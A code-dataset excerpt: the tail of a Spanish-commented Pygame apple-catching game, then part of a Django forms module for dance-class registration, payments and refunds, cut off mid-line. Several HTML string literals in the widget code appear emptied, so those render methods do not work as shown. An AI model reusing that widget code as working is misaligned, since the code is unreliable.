listaEnemigos):\r\n for enemigo in listaEnemigos:\r\n ventana.blit(enemigo.image, enemigo.rect)\r\n#mueve los enemigos de la lista\r\ndef moverEnemigos(listaEnemigos):\r\n for enemigo in listaEnemigos:\r\n enemigo.rect.top += 15\r\n#prueba la Colisión de los enemigos\r\ndef colisionarEnemigos(listaEnemigos):\r\n for enemigo in listaEnemigos:\r\n global xCanasta\r\n xEnemigo = enemigo.rect.left\r\n yEnemigo = enemigo.rect.top\r\n if xEnemigo >= xCanasta and xEnemigo <= xCanasta + 100 and yEnemigo >= yCanasta and yEnemigo <= yCanasta:\r\n listaEnemigos.remove(enemigo)\r\n return True\r\n\r\n# Estructura básica de un programa que usa pygame para dibujar\r\ndef dibujar():\r\n # Hay que anunciar que hay variables globales\r\n global xCanasta, yCanasta # Voy a usar la variable global\r\n # Inicializa el motor de pygame\r\n pygame.init()\r\n # Crea una ventana de ANCHO x ALTO\r\n ventana = pygame.display.set_mode((ANCHO, ALTO)) # Crea la ventana donde dibujará\r\n reloj = pygame.time.Clock() # Para limitar los fps\r\n termina = False # Bandera para saber si termina la ejecución, iniciamos suponiendo que no\r\n\r\n # IMAGENES PARA VENTANA MENU\r\n fondoMenu = pygame.image.load(\"fondoMenu.jpg\")\r\n botonJugar = pygame.image.load(\"bjugar.png\")\r\n botonInstrucciones = pygame.image.load(\"binstrucciones.png\")\r\n botonPuntuaciones = pygame.image.load(\"bpuntuaciones.png\")\r\n\r\n # IMAGENES PARA VENTANA INSTRUCCIONES\r\n fondoInstrucciones = pygame.image.load(\"fondoInstrucciónes3.jpg\")\r\n botonMenu = pygame.image.load(\"bmenu.png\")\r\n\r\n # IMAGENES PARA VENTANA PUNTAJE\r\n fondoPuntaje = pygame.image.load(\"FondoPuntaje.jpg\")\r\n\r\n # IMAGENES PARA VENTANA JUEGO\r\n fondoJuego = pygame.image.load(\"fondoJuego.jpg\")\r\n canasta = pygame.image.load(\"canasta.png\")\r\n imgManzana = pygame.image.load(\"manzana.png\")\r\n manzana = pygame.image.load(\"manzana.png\")\r\n imgEnemigo = pygame.image.load(\"enemigo.png\")\r\n enemigo = pygame.image.load(\"enemigo.png\")\r\n\r\n # SPRITES\r\n spriteManzana = pygame.sprite.Sprite()\r\n spriteManzana.image = imgManzana\r\n spriteManzana.rect = imgManzana.get_rect() # Datos de la imagen\r\n spriteManzana.rect.top = -1 # X\r\n spriteManzana.rect.left = -1 # Y\r\n # Caida Manzanas\r\n spriteCaida = pygame.sprite.Sprite\r\n spriteCaida.image = imgManzana\r\n spriteCaida.rect = imgManzana.get_rect()\r\n spriteCaida.rect.left = -1\r\n spriteCaida.rect.top = -1\r\n\r\n\r\n # AUDIO\r\n pygame.mixer.init()\r\n efectoColision = pygame.mixer.Sound(\"sColisión.wav\")\r\n pygame.mixer.music.load(\"musicaFondoM.mp3\")\r\n pygame.mixer.music.play(-1)\r\n\r\n # MOUSE\r\n xMouse = -1\r\n yMouse = -1\r\n\r\n # Estados\r\n MENU = 1\r\n JUGANDO = 2\r\n INSTRUCCIONES = 3\r\n PUNTAJE = 4\r\n estado = MENU\r\n\r\n # TEXTO\r\n fuente = pygame.font.SysFont(\"Arial\", 30)\r\n puntaje = 0\r\n vidas = 8\r\n fuenteTotal = pygame.font.SysFont(\"Arial\", 60) #Texto de la puntuación final\r\n\r\n # TIEMPOS\r\n tiempoCaida = 23 # cada cuanto caen las manzanas\r\n\r\n while not termina: # Ciclo principal, MIENTRAS la variable termina sea False, el ciclo se repite automáticamente\r\n # Procesa los eventos que recibe\r\n for evento in pygame.event.get():\r\n if evento.type == pygame.QUIT: # El usuario hizo click en el botón de salir\r\n termina = True # Queremos terminar el ciclo\r\n elif evento.type == pygame.MOUSEBUTTONDOWN:\r\n # Oprimio el mouse\r\n xMouse, yMouse = pygame.mouse.get_pos()\r\n print(xMouse, yMouse)\r\n if xMouse >= 230 and xMouse <= 360 and yMouse >= 230 and yMouse <= 300:\r\n # Oprimió el botón de play\r\n xMouse = -1\r\n estado = JUGANDO\r\n if xMouse >= 200 and xMouse <= 385 and yMouse >= 320 and yMouse <= 375:\r\n # Oprimió el botón de instrucciones\r\n xMouse = -1\r\n estado = INSTRUCCIONES\r\n if xMouse >= 205 and xMouse <= 415 and yMouse >= 400 and yMouse <= 455:\r\n # Oprimió el botón de puntaje\r\n xMouse = -1\r\n estado = PUNTAJE\r\n if xMouse >= 420 and xMouse <= 520 and yMouse >= 660 and yMouse <= 715:\r\n # Oprimió el botón de menu\r\n xMouse = -1\r\n estado = MENU\r\n elif evento.type == pygame.KEYDOWN: # Oprimió la tecla\r\n # verificar que tecla se oprimió\r\n if evento.key == pygame.K_RIGHT:\r\n xCanasta += 40\r\n elif evento.key == pygame.K_LEFT:\r\n xCanasta -= 40\r\n\r\n\r\n\r\n # Borrar pantalla\r\n ventana.blit(fondoMenu, (0, 0))\r\n\r\n # Dibujar, aquí haces todos los trazos que requieras\r\n if estado == MENU:\r\n yManzana = 0\r\n xCanasta = 0\r\n vidas = 8\r\n puntaje = 0\r\n dibujarMouse(ventana, xMouse, yMouse)\r\n dibujarMenu(ventana, botonJugar, botonInstrucciones, botonPuntuaciones)\r\n elif estado == INSTRUCCIONES:\r\n dibujarInstrucciones(ventana, fondoInstrucciones, botonMenu)\r\n elif estado == PUNTAJE:\r\n dibujarTablaPuntaje(ventana, fondoPuntaje, botonMenu)\r\n dibujarPuntajeFinal(ventana, puntajeT, fuenteTotal)\r\n elif estado == JUGANDO:\r\n dibujarJuego(ventana, fondoJuego)\r\n dibujarCanasta(ventana, canasta)\r\n dibujarVidas(ventana, vidas, fuente)\r\n dibujarPuntaje(ventana, puntaje, fuente)\r\n # marcador += 1 va aumentado por el segundo\r\n # reaparecer manzana if manzana==0:\r\n # manzana =0 regresa a posición inicial\r\n\r\n #Dibuja la LISTA de enemigos\r\n dibujarListaEnemigos(ventana, listaEnemigos)\r\n moverEnemigos(listaEnemigos)\r\n\r\n #Dibuja la caida de las manzanas originales\r\n dibujarCaida(ventana, spriteCaida)\r\n dibujarManzanas(ventana, manzana)\r\n\r\n #Sprites del ENEMIGO\r\n tiempoCaida -= 1 # va restando al timepo inicial del ataque\r\n if tiempoCaida == 0:\r\n #crea una nueva manzana\r\n nuevoEnemigo = pygame.sprite.Sprite()\r\n nuevoEnemigo.image = imgEnemigo\r\n nuevoEnemigo.rect = imgEnemigo.get_rect()\r\n nuevoEnemigo.rect.left = random.randint(0, 540)\r\n nuevoEnemigo.rect.top = 0\r\n listaEnemigos.append(nuevoEnemigo)\r\n\r\n #Las manzanas originales aparecen random\r\n spriteCaida.rect.left = xManzana # aparece randomly [random.randint(0,ANCHO)]\r\n spriteCaida.rect.top = yManzana # 0 aparece de lo alto de ventana\r\n tiempoCaida = 85 #Tiempo de duración de la caida de las manzanas\r\n\r\n #Prueba si hay colisión de las MANZANAS BUENAS\r\n hayColison = probarColision(spriteCaida) # regresa el true\r\n if hayColison == True:\r\n efectoColision.play()\r\n tiempoCaida = 1\r\n puntaje += 10\r\n puntajeT = puntaje\r\n\r\n listaP = []\r\n listaP.append(str(puntajeT))\r\n\r\n # Crea el archivo en el que se escribe el puntaje obtenido. Se actualiza cada vez q comienza a jugarse de nuevo\r\n ent = open(\"Puntos.txt\", \"w\", encoding=\"UTF-8\")\r\n puntos = listaP[0]\r\n ent.write((puntos))\r\n ent.close()\r\n\r\n\r\n # Prueba si hay colisión de las MANZANAS MORDIDAS\r\n hayColisionEnemigo = colisionarEnemigos(listaEnemigos)\r\n if hayColisionEnemigo == True:\r\n efectoColision.play()\r\n if puntaje > 0:\r\n puntaje -= 5\r\n\r\n #Si NO hay colisión, RESTA VIDAS\r\n if hayColison == False:\r\n vidas -= 1\r\n if vidas <= 0:\r\n xCanasta = -200\r\n estado == PUNTAJE\r\n dibujarTablaPuntaje(ventana, fondoPuntaje, botonMenu)\r\n dibujarPuntajeFinal(ventana, puntajeT, fuenteTotal)\r\n\r\n\r\n\r\n pygame.display.flip() # Actualiza trazos (Si no llamas a esta función, no se dibuja)\r\n reloj.tick(40) # 40 fps\r\n\r\n\r\n # Después del ciclo principal\r\n pygame.quit() # termina pygame\r\n print(listaP)\r\n\r\n\r\n\r\n# Función principal, aquí resuelves el problema\r\ndef main():\r\n dibujar() # Por ahora, solo dibuja\r\n\r\n\r\n\r\n# Llamas a la función principal\r\nmain()","sub_path":"Proyecto Final.py","file_name":"Proyecto Final.py","file_ext":"py","file_size_in_byte":12150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"128838520","text":"from django import forms\nfrom django.contrib import messages\nfrom django.contrib.auth.models import User\nfrom django.core.exceptions import ValidationError\nfrom django.db.models import Q\nfrom django.utils.encoding import force_text\nfrom django.forms.widgets import CheckboxSelectMultiple, CheckboxInput, mark_safe, Select\nfrom django.utils.html import conditional_escape, format_html\nfrom django.utils.translation import ugettext_lazy as _, ugettext\n\nfrom itertools import chain\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout, Div, Field, HTML, Hidden, Submit\nfrom dal import autocomplete\nfrom random import random\nimport json\nimport logging\nfrom djangocms_text_ckeditor.widgets import TextEditorWidget\n\nfrom .models import (\n EventStaffMember, SubstituteTeacher, Event, EventOccurrence, PublicEvent,\n Series, SeriesTeacher, Instructor, StaffMember, EmailTemplate, Location,\n Customer, Invoice, get_defaultEmailName, get_defaultEmailFrom\n)\nfrom .constants import HOW_HEARD_CHOICES, getConstant, REG_VALIDATION_STR\nfrom .signals import check_student_info\nfrom .utils.emails import get_text_for_html\n\n# Define logger for this file\nlogger = logging.getLogger(__name__)\n\n\nclass LocationWithDataWidget(Select):\n '''\n Override render_option to permit extra data of default capacity\n and room options to be used by JQuery.\n '''\n\n def render_option(self, selected_choices, option_value, option_label):\n if option_value is None:\n option_value = ''\n option_value = force_text(option_value)\n if option_value in selected_choices:\n selected_html = mark_safe(' selected=\"selected\"')\n if not self.allow_multiple_selected:\n # Only allow for a single selection.\n selected_choices.remove(option_value)\n else:\n selected_html = ''\n\n # Pass the default location capacity as an option\n if option_value:\n this_location = Location.objects.filter(id=int(option_value)).first()\n defaultCapacity = this_location.defaultCapacity\n room_options = [{'id': x.id, 'name': x.name, 'defaultCapacity': x.defaultCapacity} for x in this_location.room_set.all()]\n\n extra_value_data = format_html(\n ' data-defaultCapacity=\"{}\" data-roomOptions=\"{}\"',\n defaultCapacity, json.dumps(room_options))\n else:\n extra_value_data = ''\n\n return format_html('',\n option_value,\n mark_safe(selected_html),\n extra_value_data,\n force_text(option_label))\n\n\nclass CheckboxSelectMultipleWithDisabled(CheckboxSelectMultiple):\n \"\"\"\n Subclass of Django's checkbox select multiple widget that allows disabling checkbox-options,\n as well as marking some options as subject to override. To disable an option, pass a dict\n instead of a string for its label, of the form: {'label': 'option label', 'disabled': True}.\n To make an option part of a separate \"override\" choice set, add a dictionary key {'override': True}\n \"\"\"\n\n def render(self, name, value, attrs=None, choices=()):\n if value is None:\n value = []\n has_id = attrs and 'id' in attrs\n final_attrs = self.build_attrs(attrs, extra_attrs={'name': name})\n output = [u'',]\n\n # Separate out regular choices and override-only choices\n all_choices = list(chain(self.choices, choices))\n\n override_choices = [\n x for x in all_choices if\n isinstance(x[1],dict) and\n 'override' in x[1].keys() and\n x[1]['override']\n ]\n\n regular_choices = [\n x for x in all_choices if x not in override_choices\n ]\n\n # Normalize to strings\n str_values = set([force_text(v,encoding='utf-8') for v in value])\n\n if regular_choices:\n output.append(u'
    ')\n\n for i, (option_value, option_label) in enumerate(regular_choices):\n if 'disabled' in final_attrs:\n del final_attrs['disabled']\n if isinstance(option_label, dict):\n if dict.get(option_label, 'disabled'):\n final_attrs = dict(final_attrs,disabled='disabled')\n option_label = option_label['label']\n # If an ID attribute was given, add a numeric index as a suffix,\n # so that the checkboxes don't all have the same ID attribute.\n if has_id:\n final_attrs = dict(final_attrs, id='%s_%s' % (attrs['id'], i))\n label_for = u' for=\"%s\"' % final_attrs['id']\n else:\n label_for = ''\n cb = CheckboxInput(final_attrs, check_test=lambda value: value in str_values)\n option_value = force_text(option_value,encoding='utf-8')\n rendered_cb = cb.render(name, option_value)\n option_label = conditional_escape(force_text(option_label,encoding='utf=8'))\n output.append(u'
  • %s %s
  • ' % (label_for, rendered_cb, option_label))\n\n output.append(u'
')\n\n if override_choices:\n # Determine whether or not to add a Submit button\n submit_button_flag = False\n\n # Create an ID for the collapse\n if has_id:\n collapse_id = 'override_' + str(attrs['id'])\n else:\n collapse_id = 'override_' + str(int(random() * 10.0**12))\n\n output.append(u'
    ' % {'id': collapse_id, 'string': _('Additional Choices')})\n\n for i, (option_value, option_label) in enumerate(override_choices):\n if 'disabled' in final_attrs:\n del final_attrs['disabled']\n if isinstance(option_label, dict):\n if dict.get(option_label, 'disabled'):\n final_attrs = dict(final_attrs,disabled='disabled')\n if dict.get(option_label, 'closed'):\n submit_button_flag = True\n option_label = option_label['label']\n # If an ID attribute was given, add a numeric index as a suffix,\n # so that the checkboxes don't all have the same ID attribute.\n if has_id:\n final_attrs = dict(final_attrs, id='%s_%s' % (attrs['id'], i))\n label_for = u' for=\"%s\"' % final_attrs['id']\n else:\n label_for = ''\n cb = CheckboxInput(final_attrs, check_test=lambda value: value in str_values)\n option_value = force_text(option_value,encoding='utf=8')\n rendered_cb = cb.render(name, option_value)\n option_label = conditional_escape(force_text(option_label,encoding='utf=8'))\n output.append(u'
  • %s %s
  • ' % (label_for, rendered_cb, option_label))\n if submit_button_flag:\n output.append(u'' % _('Register now'))\n output.append(u'
')\n\n return mark_safe(u'\\n'.join(output))\n\n\nclass CheckboxSeriesChoiceField(forms.MultipleChoiceField):\n '''\n Inherits from ChoiceField, and uses the widget above, but also\n cleans to raise an error if a user registers as both a lead and a follow,\n or if they register for the whole class plus a drop-in.\n '''\n widget = CheckboxSelectMultipleWithDisabled\n\n\nclass ClassChoiceForm(forms.Form):\n '''\n This is the form that customers use to select classes.\n '''\n\n def __init__(self,*args,**kwargs):\n openEvents = kwargs.pop('openEvents',Event.objects.none())\n closedEvents = kwargs.pop('closedEvents', Event.objects.none())\n user = kwargs.pop('user',None)\n\n # Initialize a default (empty) form to fill\n super(ClassChoiceForm, self).__init__(*args, **kwargs)\n\n # Allow users with appropriate permissions to process door registrations.\n if user and user.has_perm('core.accept_door_payments'):\n self.fields['payAtDoor'] = forms.BooleanField(required=False,label=_('Door/Invoice Registration'))\n\n if user and user.has_perm('core.override_register_closed'):\n choice_set = openEvents | closedEvents\n else:\n choice_set = openEvents\n\n # Only the keys passed in this property will be entered into session data.\n # This prevents injection of unknown values into the registration process.\n self.permitted_event_keys = ['role',]\n\n for event in choice_set:\n field_choices = []\n\n # Get the set of roles for registration. If custom roles and capacities\n # are provided, those will be used. Or, if the DanceType of a Series\n # provides default roles, those will be used. Otherwise, a single role will\n # be defined as 'Register' .\n eventRoles = event.eventrole_set.all()\n roles = []\n if eventRoles.count() > 0:\n roles = [x.role for x in eventRoles]\n elif isinstance(event,Series) and event.classDescription.danceTypeLevel.danceType.roles.count() > 0:\n roles = event.classDescription.danceTypeLevel.danceType.roles.all()\n\n # Add one choice per role\n for role in roles:\n this_label = {\n 'label': '%s' % (role.name)\n }\n if event.soldOutForRole(role):\n this_label = {'label': _('%s sold out!') % role.pluralName, 'disabled': True}\n if user.has_perm('core.override_register_soldout'):\n this_label['disabled'] = False\n this_label['override'] = True\n if event in closedEvents:\n this_label['closed'] = True\n this_label['override'] = True\n field_choices.append(\n (json.dumps({'role': role.id,}),this_label)\n )\n # If no choices, then add a general Register choice\n if not roles:\n this_label = {'label': _('Register')}\n if event.soldOut:\n this_label = {'label': _('Sold out!'), 'disabled': True}\n if user.has_perm('core.override_register_soldout'):\n this_label['disabled'] = False\n this_label['override'] = True\n if event in closedEvents:\n this_label['closed'] = True\n this_label['override'] = True\n field_choices.append(\n (json.dumps({'role': None}),this_label)\n )\n\n # Add drop-in choices if they are available and if this user has permission.\n # If the user only has override permissions, add the override collapse only.\n # Note that this works because django-polymorphic returns the subclass.\n if isinstance(event,Series):\n if event.allowDropins and user and user.has_perm('core.register_dropins'):\n for occurrence in event.eventoccurrence_set.all():\n field_choices += ((json.dumps({'dropin_' + str(occurrence.id): True}), _('Drop-in: ') + occurrence.localStartTime.strftime('%B %-d')),)\n self.permitted_event_keys.append('dropin_' + str(occurrence.id))\n elif (user and user.has_perm('core.override_register_dropins')):\n for occurrence in event.eventoccurrence_set.all():\n field_choices += ((json.dumps({'dropin_' + str(occurrence.id): True}),{'label': _('Drop-in: ') + occurrence.localStartTime.strftime('%B %-d'),'override':True}),)\n self.permitted_event_keys.append('dropin_' + str(occurrence.id))\n\n self.fields['event_' + str(event.id)] = CheckboxSeriesChoiceField(\n label=event.name,\n choices=field_choices,\n required=False,\n )\n\n def clean(self):\n # Check that the registration is not empty\n cleaned_data = super(ClassChoiceForm,self).clean()\n hasContent = False\n\n for key,value in cleaned_data.items():\n if value and key != 'payAtDoor':\n hasContent = True\n if isinstance(value,list):\n # Ignore any passed value that is not a dictionary\n value_dict_list = [json.loads(x) for x in value if isinstance(json.loads(x),dict)]\n\n # Get the list of roles -- if more than one, then raise an error\n roles = [y.pop('role') for y in value_dict_list if y.get('role')]\n value_dict = {}\n for v in value_dict_list:\n value_dict.update(v)\n\n # Get the list of dropIns\n dropIns = [k.replace('dropin_','') for k in value_dict.keys() if 'dropin_' in k]\n\n if len(roles) > 1:\n raise ValidationError(_('Must select only one role.'),code='invalid')\n elif len(roles) == 1 and len(dropIns) > 0:\n raise ValidationError(_('Cannot register for drop-in classes and also for the entire series.'),code='invalid')\n if not hasContent:\n raise ValidationError(_('Must register for at least one class or series.'))\n\n\nclass RegistrationContactForm(forms.Form):\n '''\n This is the form customers use to fill out their contact info.\n '''\n\n firstName = forms.CharField(label=_('First Name'))\n lastName = forms.CharField(label=_('Last Name'))\n email = forms.EmailField()\n phone = forms.CharField(required=False,label=_('Telephone (optional)'),help_text=_('We may use this to notify you in event of a cancellation.'))\n student = forms.BooleanField(required=False,label=_('I am a student'), help_text=_('Photo ID is required at the door'))\n mailList = forms.BooleanField(required=False,label=_('Add me to the mailing list'))\n agreeToPolicies = forms.BooleanField(required=True,label=_('I agree to all policies (required)'),help_text=_('By checking, you agree to abide by all policies.'))\n gift = forms.CharField(required=False,label=_('Voucher ID'))\n howHeardAboutUs = forms.ChoiceField(choices=HOW_HEARD_CHOICES,required=False,label=_('How did you hear about us?'),help_text=_('Optional'))\n comments = forms.CharField(widget=forms.Textarea,required=False,label=_('Comments'),help_text=_('Add anything else you\\'d like to tell us.'))\n\n def get_top_layout(self):\n\n top_layout = Layout(\n Div(\n Field('firstName', wrapper_class='col'),\n Field('lastName', wrapper_class='col'),\n css_class='row'\n ),\n Div(\n Field('email', wrapper_class='col'),\n Field('phone',wrapper_class='col'),\n css_class='row'\n ),\n )\n return top_layout\n\n def get_mid_layout(self):\n mid_layout = Layout(\n Div('agreeToPolicies','student',css_class='card card-body bg-light my-2'),\n )\n return mid_layout\n\n def get_bottom_layout(self):\n bottom_layout = Layout(\n Div(\n Field('gift', wrapper_class='col'),\n Field('howHeardAboutUs', wrapper_class='col'),\n css_class='row mt-4'\n ),\n 'comments',\n )\n return bottom_layout\n\n def __init__(self,*args,**kwargs):\n self._request = kwargs.pop('request',None)\n self._registration = kwargs.pop('registration',None)\n user = getattr(self._request,'user',None)\n session = getattr(self._request,'session',{}).get(REG_VALIDATION_STR,{})\n\n super(RegistrationContactForm,self).__init__(*args,**kwargs)\n self._session = session\n\n self.helper = FormHelper()\n self.helper.form_method = 'post'\n self.helper.form_tag = False # Our template must explicitly include the
\n\n if user and hasattr(user,'customer') and user.customer and not session.get('payAtDoor',False):\n # Input existing info for users who are logged in and have signed up before\n self.fields['firstName'].initial = user.customer.first_name or user.first_name\n self.fields['lastName'].initial = user.customer.last_name or user.last_name\n self.fields['email'].initial = user.customer.email or user.email\n self.fields['phone'].initial = user.customer.phone\n\n self.helper.layout = Layout(\n self.get_top_layout(),\n self.get_mid_layout(),\n self.get_bottom_layout(),\n Submit('submit',_('Complete Registration'))\n )\n\n # If a voucher ID was passed (i.e. a referral code), then populate the form\n # and clear the passed session value\n session['gift'] = ''\n if session.get('voucher_id'):\n self.fields['gift'].initial = session.get('voucher_id')\n session['voucher_id'] = None\n\n def is_valid(self):\n '''\n For this form to be considered valid, there must be not only no errors, but also no messages on\n the request that need to be shown.\n '''\n\n valid = super(RegistrationContactForm,self).is_valid()\n msgs = messages.get_messages(self._request)\n\n # We only want validation messages to show up once, so pop messages that have already show up\n # before checking to see if any messages remain to be shown.\n prior_messages = self._session.pop('prior_messages',[])\n remaining_messages = []\n\n for m in msgs:\n m_dict = {'message': m.message, 'level': m.level, 'extra_tags': m.extra_tags}\n if m_dict not in prior_messages:\n remaining_messages.append(m_dict)\n\n if remaining_messages:\n self._session['prior_messages'] = remaining_messages\n self._request.session.modified = True\n return False\n return valid\n\n def clean(self):\n super(RegistrationContactForm,self).clean()\n first = self.cleaned_data.get('firstName')\n last = self.cleaned_data.get('lastName')\n email = self.cleaned_data.get('email')\n\n # Check that this customer is not already registered for any of the Events in the list\n customer = Customer.objects.filter(\n first_name=first,\n last_name=last,\n email=email).first()\n\n if customer:\n eventids = [x.event.id for x in self._registration.temporaryeventregistration_set.all()]\n already_registered_list = customer.getSeriesRegistered().filter(id__in=eventids)\n else:\n already_registered_list = []\n\n if already_registered_list:\n error_list = '\\n'.join(['
  • %s
  • ' % (x.name,) for x in already_registered_list])\n raise ValidationError(ugettext(mark_safe('You are already registered for:\\n
      \\n%s\\n
    \\nIf you are registering another person, please enter their name.' % error_list)))\n\n # Allow other handlers to add validation errors to the form. Also, by passing the request, we allow\n # those handlers to add messages to the request, which (for this form) are treated like errors in that\n # they prevent the form from being considered valid.\n check_student_info.send(sender=RegistrationContactForm,instance=self,formData=self.cleaned_data,request=self._request,registration=self._registration)\n\n return self.cleaned_data\n\n\nclass DoorAmountForm(forms.Form):\n '''\n This is the form that staff users fill out to indicate that they received a cash\n payment. Upon this being marked, the registration is processed.\n '''\n\n submissionUser = forms.ModelChoiceField(queryset=User.objects.filter(Q(staffmember__isnull=False) | Q(is_staff=True)),required=True)\n\n paid = forms.BooleanField(label=_('Payment Received'),required=False)\n receivedBy = forms.ModelChoiceField(\n queryset=User.objects.filter(Q(staffmember__isnull=False) | Q(is_staff=True)),\n label=_('Payment received by:'),\n required=False,\n widget=autocomplete.ModelSelect2(\n url='autocompleteUser',\n attrs={\n # This will set the input placeholder attribute:\n 'data-placeholder': _('Enter a user name'),\n # This will set the yourlabs.Autocomplete.minimumCharacters\n # options, the naming conversion is handled by jQuery\n 'data-autocomplete-minimum-characters': 2,\n 'data-widget-maximum-values': 4,\n 'class': 'modern-style',\n }\n )\n )\n amountPaid = forms.FloatField(label=_('Amount Paid'),required=False)\n\n invoiceSent = forms.BooleanField(label=_('Send Invoice'),required=False)\n cashPayerEmail = forms.EmailField(label=_('Payer Email Address'),required=False)\n invoicePayerEmail = forms.EmailField(label=_('Payer Email Address'),required=False)\n discountAmount = forms.FloatField(required=False)\n\n def __init__(self,*args,**kwargs):\n user = kwargs.pop('user',None)\n payerEmail = kwargs.pop('payerEmail',None)\n doorPortion = kwargs.pop('doorPortion', None)\n invoicePortion = kwargs.pop('invoicePortion', None)\n discountAmount = kwargs.pop('discountAmount', None)\n\n subUser = getattr(user,'id',None)\n\n self.helper = FormHelper()\n self.helper.form_method = 'post'\n self.helper.form_tag = False # Our template must explicitly include the \n\n if doorPortion:\n door_layout = Layout(\n HTML(\"\"\"\n
    \n
    \n \"\"\" + str(_('Cash Payment')) + \"\"\"\n
    \n
    \n \"\"\"),\n 'paid',\n 'receivedBy',\n 'amountPaid',\n 'cashPayerEmail',\n Submit('submit','Submit'),\n HTML(\"\"\"\n
    \n
    \n \"\"\"),\n )\n else:\n door_layout = Layout(HTML(\"\"))\n\n if invoicePortion:\n invoice_layout = Layout(\n HTML(\"\"\"\n
    \n
    \n \"\"\" + str(_('Send Invoice')) + \"\"\"\n
    \n
    \n \"\"\"),\n 'invoiceSent',\n 'invoicePayerEmail',\n Hidden('discountAmount', discountAmount),\n Submit('submit','Submit'),\n HTML(\"\"\"\n
    \n
    \n \"\"\"),\n )\n else:\n invoice_layout = Layout(HTML(\"\"))\n\n self.helper.layout = Layout(\n HTML('
    '),\n Hidden('submissionUser',subUser),\n door_layout,\n invoice_layout,\n HTML('
    ')\n )\n\n kwargs.update(initial={\n 'cashPayerEmail': payerEmail,\n 'invoicePayerEmail': payerEmail,\n 'receivedBy': subUser,\n })\n\n super(DoorAmountForm,self).__init__(*args, **kwargs)\n\n def clean_submissionUser(self):\n paid = self.data.get('paid') or None\n invoiceSent = self.data.get('invoiceSent') or None\n\n user_id = self.data.get('submissionUser') or None\n\n if user_id:\n user = User.objects.get(id=user_id)\n if not user_id or not user:\n raise ValidationError(_('submissionUser not found.'))\n\n elif paid and not user.has_perm('core.accept_door_payments'):\n raise ValidationError(_('Invalid user submitted door payment.'))\n elif invoiceSent and not user.has_perm('core.send_invoices'):\n raise ValidationError(_('Invalid user submitted invoice.'))\n return user\n\n def clean(self):\n form_data = self.cleaned_data\n\n logger.debug('Form Data:\\n%s' % form_data)\n\n paid = form_data.get('paid')\n invoiceSent = form_data.get('invoiceSent')\n\n if paid and invoiceSent:\n raise ValidationError(_('Must choose either cash payment or invoice submission, not both.'))\n\n if not paid and not invoiceSent:\n raise ValidationError(_('Must select either cash payment or invoice submission.'))\n\n # Check for required values here because the form can be used in two ways.\n if paid:\n if not form_data.get('submissionUser'):\n raise ValidationError(_('Submission user is required.'))\n if not form_data.get('receivedBy'):\n raise ValidationError(_('Must specify recipient of the money.'))\n if not form_data.get('amountPaid'):\n raise ValidationError(_('Must specify the amount of the payment.'))\n\n if invoiceSent:\n if not form_data.get('submissionUser'):\n raise ValidationError(_('Submission user is required.'))\n if not form_data.get('invoicePayerEmail'):\n raise ValidationError(_('Must specify the email address of the invoice recipient.'))\n\n return form_data\n\n\nclass EventAutocompleteForm(forms.Form):\n '''\n This form can be used for views that autocomplete events (e.g. viewing\n registrations), but it has no other fields by default.\n '''\n\n event = forms.ModelChoiceField(\n queryset=Event.objects.filter(Q(publicevent__isnull=False) | Q(series__isnull=False)),\n label=_('Search for an Event'),\n required=True,\n widget=autocomplete.ModelSelect2(\n url='autocompleteEvent',\n attrs={\n # This will set the input placeholder attribute:\n 'data-placeholder': _('Enter event title, year, or month'),\n # This will set the yourlabs.Autocomplete.minimumCharacters\n # options, the naming conversion is handled by jQuery\n 'data-minimum-input-length': 0,\n 'data-max-results': 10,\n 'class': 'modern-style',\n 'data-html': True,\n }\n )\n )\n\n def __init__(self, *args, **kwargs):\n\n super(EventAutocompleteForm,self).__init__(*args,**kwargs)\n\n self.helper = FormHelper()\n self.helper.layout = Layout(\n 'event',\n Submit('submit',_('Submit'))\n )\n\n\nclass RefundForm(forms.ModelForm):\n '''\n This is the form that is used to allocate refunds across series and events. If the Paypal app is installed, then it\n will also be used to submit refund requests to Paypal. Note that most cleaning validation happens in Javascript.\n '''\n class Meta:\n model = Invoice\n fields = []\n\n def __init__(self, *args, **kwargs):\n super(RefundForm, self).__init__(*args, **kwargs)\n\n this_invoice = kwargs.pop('instance',None)\n\n for item in this_invoice.invoiceitem_set.all():\n initial = False\n if item.finalEventRegistration:\n initial = item.finalEventRegistration.cancelled\n item_max = item.total + item.taxes if this_invoice.buyerPaysSalesTax else item.total\n\n self.fields[\"item_cancelled_%s\" % item.id] = forms.BooleanField(\n label=_('Cancelled'),required=False,initial=initial)\n self.fields['item_refundamount_%s' % item.id] = forms.FloatField(\n label=_('Refund Amount'),required=False,initial=(-1) * item.adjustments, min_value=0, max_value=item_max)\n\n self.fields['comments'] = forms.CharField(\n label=_('Explanation/Comments (optional)'),required=False,\n help_text=_('This information will be added to the comments on the invoice associated with this refund.'),\n widget=forms.Textarea(attrs={'placeholder': _('Enter explanation/comments...'), 'class': 'form-control'}))\n\n self.fields['id'] = forms.ModelChoiceField(\n required=True,queryset=Invoice.objects.filter(id=this_invoice.id),widget=forms.HiddenInput(),initial=this_invoice.id)\n\n self.fields['initial_refund_amount'] = forms.FloatField(\n required=True,initial=(-1) * this_invoice.adjustments,min_value=0,max_value=this_invoice.amountPaid + this_invoice.refunds,widget=forms.HiddenInput())\n\n self.fields['total_refund_amount'] = forms.FloatField(\n required=True,initial=0,min_value=0,max_value=this_invoice.amountPaid + this_invoice.refunds,widget=forms.HiddenInput())\n\n def clean_total_refund_amount(self):\n '''\n The Javascript should ensure that the hidden input is updated, but double check it here.\n '''\n initial = self.cleaned_data.get('initial_refund_amount', 0)\n total = self.cleaned_data['total_refund_amount']\n summed_refunds = sum([v for k,v in self.cleaned_data.items() if k.startswith('item_refundamount_')])\n\n if not self.cleaned_data.get('id'):\n raise ValidationError('ID not in cleaned data')\n\n if summed_refunds != total:\n raise ValidationError(_('Passed value does not match sum of allocated refunds.'))\n elif summed_refunds > self.cleaned_data['id'].amountPaid + self.cleaned_data['id'].refunds:\n raise ValidationError(_('Total refunds allocated exceed revenue received.'))\n elif total < initial:\n raise ValidationError(_('Cannot reduce the total amount of the refund.'))\n return total\n\n\nclass EmailContactForm(forms.Form):\n\n EMAIL_SENDTOSET_CHOICES = (('series',_('All students in one or more series')),('month',_('All Students in a given month')))\n RICH_TEXT_CHOICES = (('plain',_('Plain text email')),('HTML',_('HTML rich text email')))\n\n sendToSet = forms.ChoiceField(label=_('This email is for:'),widget=forms.RadioSelect,choices=EMAIL_SENDTOSET_CHOICES,required=False,initial='series')\n\n template = forms.ModelChoiceField(label=_('(Optional) 